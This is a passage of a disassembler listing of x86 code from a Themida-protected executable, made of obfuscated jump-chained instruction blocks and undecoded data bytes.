		xchg	eax, [esp]
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_637E31
; ---------------------------------------------------------------------------


loc_647514:				; CODE XREF: Themida_:0063F202j
		pop	ebx
		push	eax
		jmp	loc_63C98A
; ---------------------------------------------------------------------------
		db 4
		dd 0E82EE988h, 7EE9FFFFh, 0C1FFFEE0h, 0ADE905EFh, 0BDFFFFDDh
		dd 62F2640h, 8B5DEB01h,	0C4812434h, 4, 0FF7D90E9h, 18EB80FFh
		dd 492AE952h, 0F301FFFFh, 80DBA52h, 0E95654CCh,	0FFFF3B29h
		dd 6B31EF81h, 0FD019B5Ah, 0E9D5015Fh, 0FFFFA1BCh, 0E95AD329h
		dd 0FFFF8D9Eh, 0FEE02CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647579:				; CODE XREF: Themida_:00645704j
		xor	edx, ebx
		pop	ebx


loc_64757C:				; CODE XREF: Themida_:00636422j
					; Themida_:00648B31j
		push	0EFEh
		mov	[esp], edx
		push	edi
		mov	edi, 3F345605h
		xor	edi, 37F64818h
		jmp	loc_64287E
; ---------------------------------------------------------------------------


loc_647595:				; CODE XREF: Themida_:00637E42j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	esi
		push	eax
		push	esi
		mov	eax, [esp]
		jmp	loc_638E5D
; ---------------------------------------------------------------------------
		db 66h
		dd 0FC13E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6475BE:				; CODE XREF: Themida_:00644357j
		push	24CDh
		mov	[esp], ebp
		push	esp
		jmp	loc_647FC6
; ---------------------------------------------------------------------------
		dd 4C681h, 66E90000h, 0ADFFFFBCh, 0BD2E9h, 24542900h, 4C295A08h
		dd 44810424h, 1B1C0424h, 4CE96BEDh, 52FFFF88h, 5A2414F7h
		dd 0F4B1EA81h, 582D2D63h, 0E97B797Ch, 0FFFFBD72h
; ---------------------------------------------------------------------------


loc_647608:				; CODE XREF: Themida_:0063AA26j
		push	142Eh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_645F02
; ---------------------------------------------------------------------------
		db 66h
		dd 0E987048Fh, 0FFFEDF71h
; ---------------------------------------------------------------------------


loc_647634:				; CODE XREF: Themida_:00644E5Aj
		add	edi, ebp
		jmp	loc_646D9E
; ---------------------------------------------------------------------------


loc_64763B:				; CODE XREF: Themida_:00639EE3j
		mov	ecx, 0F0630C5h
		and	edi, ecx
		mov	ecx, [esp]
		jmp	loc_63AED3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240C89h, 1CFCh, 0E981D901h, 54734E58h,	51241C8Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 50685C24h,	89000040h
		dd 0E589242Ch, 4C581h, 0BA520000h, 4, 875AD529h, 895C242Ch
		dd 2BD242Ch, 1000000h, 2434FFE9h, 4C4835Dh, 1820E9h
		db 0
; ---------------------------------------------------------------------------


loc_6476A9:				; CODE XREF: Themida_:0063D28Bj
		mov	eax, [esp]
		jmp	loc_6414D2
; ---------------------------------------------------------------------------


loc_6476B1:				; CODE XREF: Themida_:00640362j
		shl	ebp, 4
		or	ebp, 3A4A0C37h
		xor	ebp, 11367785h
		sub	ecx, 1B0A37D7h
		add	ecx, ebp
		add	ecx, 1B0A37D7h
		pop	ebp
		add	ecx, edi
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 2FDC09F2h
		mov	esi, ebp
		pop	ebp
		sub	ecx, esi
		jmp	loc_642D0D
; ---------------------------------------------------------------------------


loc_6476E7:				; CODE XREF: Themida_:006397C7j
		pop	esi
		push	eax
		push	ecx
		mov	ecx, 64174E7Ah
		shl	ecx, 3
		or	ecx, 76474396h
		inc	ecx
		shr	ecx, 2
		push	edi
		mov	edi, 2E2A557Ch
		jmp	loc_63E3CD
; ---------------------------------------------------------------------------
		db 66h
		dd 5794E957h, 66BFFFFFh, 2922694Eh, 5F08247Ch, 4246C81h
		dd 5EF11ECBh, 4244481h,	55C55CA2h, 4247429h, 4246C81h
		dd 55C55CA2h, 1ECBBD55h, 6C015EF1h, 0E95D0824h,	0FFFEE5D3h
		dd 0E9240C8Bh, 0FFFEE667h, 4EC8150h, 89000000h,	70E9243Ch
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64775B:				; CODE XREF: Themida_:0063D5EEj
		pop	edx
		jmp	loc_64545F
; ---------------------------------------------------------------------------


loc_647761:				; CODE XREF: Themida_:00636E42j
		xor	eax, 1CB909BEh
		sub	eax, 0DD7CC409h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	4BE0h
		mov	[esp], ebp
		jmp	loc_6491A0
; ---------------------------------------------------------------------------
		dd 2F45BE56h, 0EE810EA5h, 617698Ch, 7A3ABD55h, 0ED8137C8h
		dd 2F3AB080h, 895DEE29h, 24348BF3h, 6AB6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6477A6:				; CODE XREF: Themida_:00648259j
		pop	eax
		pop	ebp
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_641EF8
; ---------------------------------------------------------------------------
		db 1, 0F9h, 81h
		dd 1B6866C1h, 25E2E90Eh, 0ED68FFFFh, 8900003Eh,	0DAE92414h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6477CB:				; CODE XREF: Themida_:00640BBCj
		pop	edx
		jmp	loc_639549
; ---------------------------------------------------------------------------


loc_6477D1:				; CODE XREF: Themida_:006433B4j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_642641
; ---------------------------------------------------------------------------


loc_6477E5:				; CODE XREF: Themida_:00642963j
		xchg	eax, ebx
		push	eax
		not	dword ptr [esp]
		jmp	loc_63E0EA
; ---------------------------------------------------------------------------
		db 66h
		dd 667088BAh, 0E93AF605h, 0FFFFC8CBh
; ---------------------------------------------------------------------------


loc_6477FC:				; CODE XREF: Themida_:0063DD1Cj
		push	ebx
		jmp	loc_63DE78
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 815C2404h, 872BC7EBh, 0FC40E962h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_647812:				; CODE XREF: Themida_:006401ACj
		mov	[esp], edx
		push	esi
		jmp	loc_648BF8
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FF0CB1E9h, 0EEEA81FFh, 815A8C0Dh, 932170EAh
		dd 228AE920h, 0D8300000h, 677568h, 24148900h, 6851F8B2h
		dd 510h, 81241C89h, 4ECh, 0D2DE900h, 3C8BFFFFh,	0ED3AE924h
		dd 0F901FFFEh, 0FDF2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647866:				; CODE XREF: Themida_:00644ECCj
		mov	ebp, 5D0E6015h
		or	edx, ebp
		pop	ebp
		shl	edx, 6
		jmp	loc_6389C9
; ---------------------------------------------------------------------------
		dw 0C146h
		dd 0C68102E6h, 7DCA29A4h, 555EF329h, 62B16853h,	1E93008h
		dd 0C0FFFF77h, 21E904EDh, 88FFFF1Bh, 0BCE95AF1h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_64789F:				; CODE XREF: Themida_:0064749Dj
		mov	ecx, 4EBB56EDh
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_63781C
; ---------------------------------------------------------------------------
		dd 525AD729h, 981A77BAh, 3EAC127h, 0FF6DB1E9h, 0FFC180FFh
		dd 8068F180h, 0CB2874C1h, 0D8ADE959h, 0F668FFFFh, 8900005Fh
		dd 82E9240Ch, 9FFFF6Dh,	0E99C2404h, 0FFFF29FBh,	24048B66h
		dd 5BF68h, 24348900h, 37685E54h, 8900006Bh, 80BA2414h
		dd 871B496Ch, 0DA8743DAh, 6BBF5753h, 0E93E1568h, 0FFFFB4BBh
; ---------------------------------------------------------------------------


loc_64792C:				; CODE XREF: Themida_:006371C1j
		add	ebp, 4
		jmp	loc_6401D7
; ---------------------------------------------------------------------------
		db 0FEh
		dd 2DE780C7h, 0FFA6DFE9h, 11AD35FFh, 0A30516D3h, 1C0F156h
		dd 0C30158C3h, 203FEB81h, 33586B42h, 1C31241Ch,	241C3324h
		dd 1205E9h, 3BEB8100h, 0E92E313Eh, 2FF9h
; ---------------------------------------------------------------------------


loc_647970:				; CODE XREF: Themida_:00636CEBj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 308D0728h
		push	1D33h
		mov	[esp], ebx
		mov	ebx, 500F542Dh
		xor	ebx, 75864898h
		and	ebx, 3C0A0AA5h
		sub	ebx, 0A709C381h
		add	edx, ebx
		jmp	loc_6377DE
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 1EA95187h, 4244C01h,	0FF31C6E9h, 0F638B2FFh,	5EE280D2h
		dd 0D2F6CAFEh, 8065EA80h, 0D08855C2h, 0E9C6005Ah, 0FFFFD9C0h
; ---------------------------------------------------------------------------


loc_6479CC:				; CODE XREF: Themida_:00640084j
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
aMrSZ		db 'R(Z',0
		db 0D8h, 57h, 89h
		dd 6AB951E7h, 0E92BF961h, 0FFFEE9C9h, 8324048Bh, 55E904C4h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6479F3:				; CODE XREF: Themida_:00637C5Ej
		push	edx
		mov	edx, 119B3380h
		and	esi, edx
		pop	edx
		sub	esi, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_64886B
; ---------------------------------------------------------------------------


loc_647A10:				; CODE XREF: Themida_:006421EAj
		add	ebp, 1FBA63ACh
		sub	ebp, esi
		sub	ebp, 1FBA63ACh
		push	dword ptr [esp]
		jmp	loc_647147
; ---------------------------------------------------------------------------


loc_647A26:				; CODE XREF: Themida_:0064292Cj
		add	ebp, ecx
		jmp	loc_638F66
; ---------------------------------------------------------------------------


loc_647A2D:				; CODE XREF: Themida_:006455F1j
		pop	edi
		jmp	loc_6473D8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 22E92434h, 0B1FFFF8Ch, 52C1FE6Fh, 0C8E99AB6h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647A47:				; CODE XREF: Themida_:00642185j
		add	ebx, 7E7C1978h
		sub	ebx, edx
		sub	ebx, 7E7C1978h
		pop	edx
		push	ecx
		jmp	loc_63762E
; ---------------------------------------------------------------------------


loc_647A5C:				; CODE XREF: Themida_:006481FBj
		mov	ecx, [esp]
		jmp	loc_63E934
; ---------------------------------------------------------------------------
		dd 0C80017B1h, 592434FFh, 0FFC734E9h, 5DEF29FFh, 0BD55DF01h
		dd 69C3161Fh, 1DB4EF81h, 0EF0172DBh, 0FFC9C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647A89:				; CODE XREF: Themida_:006400CDj
		add	esi, edx
		sub	esi, 3EB6238Dh
		jmp	loc_641C38
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 9AE95C24h, 5FFFFF30h, 4BE56h, 0F5010000h, 242C335Eh
		dd 33242C31h, 8B5C242Ch, 54572404h, 0FFA155E9h,	8BF001FFh
		dd 89512434h, 4C181E1h,	0E9000000h, 0FFFFF9DEh,	881FB252h
		dd 0E7C2E9D7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_647ADA:				; CODE XREF: Themida_:00640246j
		mov	esp, [esp]
		div	cx
		push	26AAh
		mov	[esp], ebp
		push	2939h
		mov	[esp], esp
		jmp	loc_648171
; ---------------------------------------------------------------------------
		db 2Dh,	3Ch, 73h
		dd 348B3787h, 1988E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647B02:				; CODE XREF: Themida_:00646086j
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_64A407
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95E0424h, 1EFh
; ---------------------------------------------------------------------------


loc_647B18:				; CODE XREF: Themida_:0063C879j
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, esi
		jmp	loc_64669D
; ---------------------------------------------------------------------------


loc_647B31:				; CODE XREF: Themida_:00644EEEj
		dec	ecx
		add	ecx, 9988645Ch
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_645114
; ---------------------------------------------------------------------------


loc_647B4E:				; CODE XREF: Themida_:0063A69Bj
		add	ebp, 5205F70h
		jmp	loc_63A42F
; ---------------------------------------------------------------------------


loc_647B59:				; CODE XREF: Themida_:00649128j
		push	esi
		mov	esi, edi
		push	775h
		mov	[esp], esi
		jmp	loc_649D68
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0F9h
		dd 3BBE981h, 3C8B1DE1h,	0CA2DE924h, 0D589FFFFh,	0FFF921E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647B81:				; CODE XREF: Themida_:00643DE7j
		mov	ebp, [esp]
		jmp	loc_6356F1
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 54h
		dd 8106F00Fh, 0E42D3C3h, 81CB0112h, 0E42D3EBh, 54C38112h
		dd 0E906F00Fh, 0FFFFB944h, 47DCF81h, 0BE561FE7h, 49C64305h
		dd 0F75EF709h, 0AAC781D7h, 0E97B721Eh, 0FFFFE1D8h, 77B8E781h
		dd 0D7F7094Bh, 0FF8E72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647BD1:				; CODE XREF: Themida_:0063B717j
		add	esp, 4
		push	edi
		push	6487h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_63713A
; ---------------------------------------------------------------------------


loc_647C03:				; CODE XREF: Themida_:00637B39j
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		and	edx, ecx
		pop	ecx
		neg	edx
		jmp	loc_63ABDE
; ---------------------------------------------------------------------------


loc_647C19:				; CODE XREF: Themida_:00649C2Aj
		xor	ah, 8
		jmp	loc_63FCEF
; ---------------------------------------------------------------------------


loc_647C21:				; CODE XREF: Themida_:00649D8Bj
		xor	ebx, 39E45281h
		xor	ebx, 34E33892h
		add	ebp, ebx
		pop	ebx
		jmp	loc_640867
; ---------------------------------------------------------------------------
		db 5Dh,	0FFh, 34h
		dd 24048B24h, 0FF3917E9h, 2C183FFh, 31240C33h, 0C33240Ch
		dd 0A5D2E924h, 0C884FFFFh, 0D94BE99Ch, 0F66FFFEh, 686602B6h
		dd 89664059h, 3AE92404h
		db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_647C6B:				; CODE XREF: Themida_:0063C0F7j
		mov	[esp], ebx
		jmp	loc_638081
; ---------------------------------------------------------------------------


loc_647C73:				; CODE XREF: Themida_:0063DF50j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_641FC0
; ---------------------------------------------------------------------------


loc_647C85:				; CODE XREF: Themida_:006373FDj
		mov	[esp], eax
		jmp	loc_6441FF
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0ECh
		dd 4, 1898E9h, 24348B00h, 4C481h, 48F0000h, 24248B24h
		dd 0C65E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_647CAE:				; CODE XREF: Themida_:00635F00j
		push	edi
		push	ebx
		mov	ebx, 6B982059h
		jmp	loc_640417
; ---------------------------------------------------------------------------
		dw 5557h
		dd 0FF5CF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647CC1:				; CODE XREF: Themida_:006387BAj
		mov	edi, edx
		jmp	loc_6408CD
; ---------------------------------------------------------------------------
		dd 8904EC83h, 57B9240Ch, 0C1257120h, 0E9C104E1h, 0C9B4E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647CDE:				; CODE XREF: Themida_:0063668Bj
		xchg	ebx, [esp]
		pop	esp
		inc	ebp
		shl	ebp, 5
		shl	ebp, 5
		or	ebp, 3F8A56F7h
		sub	ebp, 0FFEE5EF8h
		push	ebp
		jmp	loc_648A29
; ---------------------------------------------------------------------------
		db 81h
		dd 36464DC1h, 37E95A2Bh, 8FFFFEFEh, 0E95C2404h,	0FFFF7C9Ah
; ---------------------------------------------------------------------------


loc_647D10:				; CODE XREF: Themida_:00642C83j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 36905C89h
		push	6224h
		mov	[esp], edi
		jmp	loc_645B25
; ---------------------------------------------------------------------------
		dd 37E9D3F7h, 68FFFEDFh, 4F89h,	2E6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_647D39:				; CODE XREF: Themida_:0063D673j
		mov	edx, esi
		pop	esi
		mov	ebx, [esp]
		jmp	loc_635E69
; ---------------------------------------------------------------------------
		dd 0C581DD01h, 63C04221h, 6DB7ED81h, 0E95B43D8h, 0FFFFBA74h
		dd 1CB368h, 24348900h, 0B22C34BEh, 36C2813Eh, 1173247h
		dd 36EA81F2h, 5E173247h, 36E9D329h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647D7B:				; CODE XREF: Themida_:0064276Aj
		mov	ebp, 5D260FFEh
		push	ecx
		mov	ecx, 4F714FBCh
		and	ecx, 32383AB5h
		not	ecx
		push	eax
		mov	eax, 5AF60545h
		jmp	loc_6413AF
; ---------------------------------------------------------------------------
		db 0BEh, 9Bh, 26h
		dd 0B2BF0ED5h, 298AA39Eh, 0FB295EF7h, 6EBD555Fh, 0E93D830Bh
		dd 0FFFF8B8Fh
; ---------------------------------------------------------------------------


loc_647DB4:				; CODE XREF: Themida_:00642135j
		sub	ecx, 5048505Ch
		jmp	loc_646AA3
; ---------------------------------------------------------------------------


loc_647DBF:				; CODE XREF: Themida_:006462D8j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 51h
		dd 54C7BD55h, 0DBE9329Eh, 0BAFFFF79h, 0B0403F7h, 5357DAF7h
		dd 0DD424EBBh, 0F7D3876Fh, 81D387D2h, 0BEA6CFC3h, 5BDF897Bh
		dd 4CE9D7F7h, 5AFFFFECh, 5604C483h, 704DDBBEh, 4EC8327h
		dd 0BF243C89h, 0D88FB229h, 5A9668h, 243C8900h, 0DF44B2BFh
		dd 0A767E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647E1E:				; CODE XREF: Themida_:00648134j
		pop	esi
		add	esp, 4
		push	6AF9h
		mov	[esp], eax
		push	esi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_649FD3
; ---------------------------------------------------------------------------
		dd offset word_685652
		dd 5E152766h, 36C1EE81h, 0C6817DACh, 0E0E0314Ch, 0E95EF289h
		dd 0FFFEE693h, 4C18159h, 83000000h, 0C8704C1h, 24248B24h
		dd 0FF2434FFh, 34FF2434h, 24048B24h, 0FF275DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647E71:				; CODE XREF: Themida_:0063EF4Cj
		sub	esi, 4B105FA3h
		add	esi, ecx
		push	47D3h
		mov	[esp], ecx
		mov	ecx, 4B105FA3h
		add	esi, ecx
		pop	ecx
		pop	ecx
		push	esi
		sub	dword ptr [esp], 1EB37BB2h
		pop	edi
		sub	esp, 4
		jmp	loc_63829F
; ---------------------------------------------------------------------------


loc_647E9B:				; CODE XREF: Themida_:006366D8j
		push	6577h
		jmp	loc_63D901
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A1h
		dd 56700214h, 0E65E9h, 8BBE5600h, 4607D62Dh, 2EEC14Eh
		dd 9EF3C681h, 0F0011770h, 2DF0295Eh, 19662A55h,	5624348Bh
		dd 0C681E689h, 4, 0FF86C7E9h, 66EDBEFFh, 0EE812840h, 0EA32E9F4h
		dd 348BF129h, 4C48124h,	81000000h, 3C08A8C9h, 0E951E97Ch
		dd 0EC83FFFEh, 3C90E904h, 8159FFFFh, 4C6h, 74FF5600h, 0E95E0424h
		dd 0FFFF7F18h, 4C18159h, 0E9000000h, 0FFFFFD1Dh, 0E94AD531h
		dd 0FFFF1A1Bh, 83240C8Bh, 0EC8304C4h, 24148904h, 0C281E289h
		dd 4, 4C281h, 0FF520000h, 8B042474h, 0C4812414h, 4, 5C24048Fh
		dd 0FF8B99E9h, 0E3305AFFh, 0E9DD3058h, 0FFFFE3FCh, 0E904C483h
		dd 0FFFED979h, 0A87AE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_647F76:				; CODE XREF: Themida_:0063BF9Bj
		not	eax
		xchg	eax, ecx
		push	edi
		push	6F02777Ah
		pop	edi
		shl	edi, 4
		push	ebp
		mov	ebp, 1C7AA19Fh
		add	edi, 540661C2h
		add	edi, ebp
		sub	edi, 540661C2h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_6494D1
; ---------------------------------------------------------------------------
		dw 0F751h
		dd 69E92414h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_647FAB:				; CODE XREF: Themida_:00647418j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_63EF51
; ---------------------------------------------------------------------------


loc_647FBE:				; CODE XREF: Themida_:00648B01j
		mov	[esp], edi
		jmp	loc_63C641
; ---------------------------------------------------------------------------


loc_647FC6:				; CODE XREF: Themida_:006475C7j
		pop	ebp
		jmp	loc_64629C
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 0E9000000h, 0FFFF874Ah, 0F7DF8747h, 81DF87D3h
		dd 0CA407DF7h, 81D7F768h, 0F0A95EFh, 44C281F2h,	1348C7Bh
		dd 0CAA0E9FAh, 1C87FFFFh, 0C895C24h, 0B50EE924h, 0D101FFFFh
		dd 56E9815Ah, 815117F9h, 367937EEh, 81CE0129h, 367937C6h
		dd 0F3895929h, 94F3815Eh, 0C17F3751h, 9CE903EBh, 83FFFF21h
		dd 48704E8h, 3C895C24h,	4BF24h,	0F8890000h, 26E9815Fh
		dd 1219309h, 0FAD6E9C1h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64804E:				; CODE XREF: Themida_:00649FD6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebx
		jmp	loc_639440
; ---------------------------------------------------------------------------


loc_64805D:				; CODE XREF: Themida_:00639C1Fj
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_63CB99
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFF114h, 5306EAC0h, 0FA005CB7h, 7DEA805Bh
		dd 28EDC280h, 51535AD0h, 0E981B450h, 0FFFF640Bh, 0D67D2368h
		dd 0C317E97Bh, 0C8BFFFFh, 0F67EE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_6480BE:				; CODE XREF: Themida_:0063B80Aj
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_6385CD
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF1539h, 6602EC83h, 0B4240489h, 885152FBh, 59CE88E1h
		dd 665AF188h, 0DE56E958h, 23BEFFFFh, 156AE03h, 72E95EF2h
		dd 1FFFFA2h, 1443E9DDh,	48B0000h, 21E95524h, 50FFFF9Dh
		dd 0D0088CB8h, 8BC62920h, 0E9522404h, 0FFFF49BEh, 0E2895258h
		dd 0FF17DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648129:				; CODE XREF: Themida_:0063BB91j
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		jmp	loc_647E1E
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0F7h
		dd 0EB8143DBh, 0E9EF07E4h, 5F5BD829h, 7061EE81h, 0C60146D5h
		dd 7061C681h, 8B5846D5h, 0C483243Ch, 564B6804h,	0C890000h
		dd 2B924h, 0CE010000h, 0FF0B40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648171:				; CODE XREF: Themida_:00647AF0j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_63A2B7
; ---------------------------------------------------------------------------


loc_648180:				; CODE XREF: Themida_:00648DF9j
		pop	ebp
		sub	edx, 4
		jmp	loc_63AB8D
; ---------------------------------------------------------------------------
		db 0E9h, 17h, 0D4h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64818E:				; CODE XREF: Themida_:0063F7A9j
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_6489B8
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF7D06h, 31243433h, 63E92434h, 2D000022h,	7A1B145Bh
		dd 0E9E68956h, 2630h
; ---------------------------------------------------------------------------


loc_6481BC:				; CODE XREF: Themida_:00641D0Bj
		mov	ecx, esp
		push	2179h
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_637D5A
; ---------------------------------------------------------------------------


loc_6481D2:				; CODE XREF: Themida_:0063B18Fj
		add	ebx, 46640637h
		sub	ebx, 0C1956A6h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_63565A
; ---------------------------------------------------------------------------


loc_6481E7:				; CODE XREF: Themida_:006392B5j
		or	eax, eax
		jz	loc_648D8D
		push	26E1h
		jmp	loc_63D2E8
; ---------------------------------------------------------------------------


loc_6481F9:				; CODE XREF: Themida_:00637B64j
		add	esi, ecx
		jmp	loc_647A5C
; ---------------------------------------------------------------------------
		dd 0AF9E955h, 2C890000h, 0E6895624h, 4C681h, 0EE830000h
		dd 0B8FE904h, 815D0000h, 6F04246Ch, 52417930h, 0E74168BAh
		dd 2454014Fh, 8F585A08h, 4812404h, 424h, 9C49E900h, 0E289FFFFh
		dd 0CE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_648245:				; CODE XREF: Themida_:00640888j
		sub	ecx, edi
		pop	edi
		push	ebp
		push	ecx
		sub	dword ptr [esp], 0D792AF2h
		pop	ebp
		add	ebp, 0D792AF2h
		push	ebp
		jmp	loc_6477A6
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 8250BBEBh, 0F4EB8102h, 0E9155892h, 0FFFFF083h, 0C381D301h
		dd 544537BAh, 8124148Bh, 4C4h, 241C8700h, 0FE24248Bh, 0E99C240Ch
		dd 0FFFED315h, 8958C331h, 0EA295BDDh, 0E9242C8Bh, 0FFFFC5F0h
		dd 0E9240429h, 0FFFF96D0h, 1C24BE56h, 0F529536Dh, 1F97E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6482B6:				; CODE XREF: Themida_:0064AB5Ej
		add	edx, ebp
		sub	esp, 4
		jmp	loc_63907D
; ---------------------------------------------------------------------------


loc_6482C3:				; CODE XREF: Themida_:0063F60Fj
		xor	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_63BC73
; ---------------------------------------------------------------------------
aIxhi		db 'hi&',0
		align 4
		dd 0BA241489h, 4, 835AD501h, 2C8704EDh,	48E95C24h, 81FFFF10h
		dd 62104CEBh, 0E9C32918h, 781h
; ---------------------------------------------------------------------------


loc_6482F8:				; CODE XREF: Themida_:0063FE2Bj
		mov	esi, 4
		jmp	loc_636E84
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904C383h, 0FFFFECF5h
; ---------------------------------------------------------------------------


loc_648310:				; CODE XREF: Themida_:00640096j
		push	ebp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_649E96
; ---------------------------------------------------------------------------


loc_648322:				; CODE XREF: Themida_:00648CBFj
		shl	esi, 5
		push	ebx
		mov	ebx, 11EC25C8h
		shl	ebx, 2
		not	ebx
		neg	ebx
		neg	ebx
		add	ebx, 465B2DC0h
		jmp	loc_6407D7
; ---------------------------------------------------------------------------
		db 29h
		dd 2434FFD9h, 0E9241C8Bh, 0FFFF7399h, 0B951E689h, 796A64ADh
		dd 64A9E981h, 0CE01796Ah, 0FFFBA5E9h, 4E9C1FFh,	8108E9C1h
		dd 0F6AC88C1h, 2A4D2DFFh, 0C8011B2Ch, 2C2A4D05h, 0F9A3E91Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64837E:				; CODE XREF: Themida_:00639958j
		mov	[esp], edx
		jmp	loc_6442A1
; ---------------------------------------------------------------------------


loc_648386:				; CODE XREF: Themida_:006431C2j
		add	esp, 4
		jmp	loc_63CC5B
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0F6D7862Dh, 52D786D2h, 0B669E951h, 5F68FFFFh, 8900002Fh
		dd 0D5E9240Ch
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6483AB:				; CODE XREF: Themida_:0063A7AFj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		jmp	loc_641E45
; ---------------------------------------------------------------------------


